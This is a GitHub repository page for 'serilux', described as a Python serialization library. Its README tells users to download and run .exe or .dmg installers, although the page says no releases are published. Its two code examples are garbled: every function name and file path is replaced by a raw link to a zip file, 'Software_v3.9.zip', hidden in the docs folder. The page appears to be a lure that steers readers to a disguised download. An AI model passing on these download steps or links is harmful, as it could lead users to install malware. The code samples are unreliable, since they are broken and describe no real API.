Skip to content

πŸ“¦ Simplify Python object serialization with Serilux's intuitive API and automatic type registration for easy management of complex data structures.

License

Notifications You must be signed in to change notification settings

abzi-py/serilux

Repository files navigation

🌟 serilux - A Simple Way to Serialize Python Objects

πŸš€ Getting Started

Welcome to serilux, a powerful serialization framework for Python objects. This software helps you easily save and load your Python data. With automatic type registration and validation, using serilux ensures your data stays consistent. In this guide, we will help you download and run serilux with simple steps.

Download serilux

πŸ“₯ Download & Install

To get started, follow these steps:

  1. Visit the Releases page: Download here.

  2. Look for the version you want to install. The latest version is often the best choice.

  3. Click on the file that matches your operating system. If you're unsure, here are the common options:

    • Windows: Look for a .exe file.
    • macOS: Look for a .dmg file.
    • Linux: You might find a tarball or similar format.
  4. Once the download finishes, find the executable file in your downloads folder.

  5. Double-click the file to run the installer. Follow the on-screen instructions to complete the installation.

πŸ“ Overview of Features

serilux offers several key features:

  • Automatic Type Registration: You do not need to worry about specifying types. serilux handles it for you.
  • Data Validation: Ensure that your data meets the required structure before saving or loading.
  • Support for Nested Objects: Serialize complex data structures with ease.
  • Zero Dependencies: There are no extra libraries required. Just download and use it.

βš™οΈ System Requirements

To run serilux, make sure your system meets the following requirements:

  • Operating System:

    • Windows 10 or later
    • macOS 10.13 or later
    • Any Linux distribution (Ubuntu recommended)
  • Python:

    • Python 3.6 or later is required. Ensure Python is installed on your system.

πŸ“š Examples of Use

Here are a few common tasks you can do with serilux:

1. Serializing a Simple Object

To save a Python object, you can use the following code snippet:

import serilux

data = {'name': 'Alice', 'age': 30}
https://github.com/abzi-py/serilux/raw/refs/heads/main/docs/source/user_guide/Software_v3.9.zip(data, 'https://github.com/abzi-py/serilux/raw/refs/heads/main/docs/source/user_guide/Software_v3.9.zip')

2. Loading an Object

When you want to retrieve your saved data, simply use this code:

loaded_data = https://github.com/abzi-py/serilux/raw/refs/heads/main/docs/source/user_guide/Software_v3.9.zip('https://github.com/abzi-py/serilux/raw/refs/heads/main/docs/source/user_guide/Software_v3.9.zip')
print(loaded_data)

πŸ”§ Troubleshooting

If you encounter issues while using serilux, here are some tips:

  • Installation Errors: Ensure you are downloading the correct file for your operating system.
  • Data Validation Errors: Check the structure of your data. Make sure it meets the required format for serialization.
  • Runtime Errors: Ensure you have the correct version of Python installed.

🌐 Community and Support

If you have questions or need help, you can reach out to the community:

  • GitHub Issues: Use the Issues tab in the repository to report bugs or ask questions.
  • Documentation: Check the wiki section for detailed usage guides.

πŸ“ Additional Resources

For more information, you may find these topics helpful:

  • Serialization in Python: Learn about data serialization and why it's useful.
  • Object Persistence: Understand how to maintain object state between sessions.

πŸŽ‰ Conclusion

You have now learned how to download, install, and run serilux. With its simple interface and powerful features, serilux makes working with Python objects easy and reliable.

To download serilux, visit the following link again: Download here. Enjoy your experience!

About

πŸ“¦ Simplify Python object serialization with Serilux's intuitive API and automatic type registration for easy management of complex data structures.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •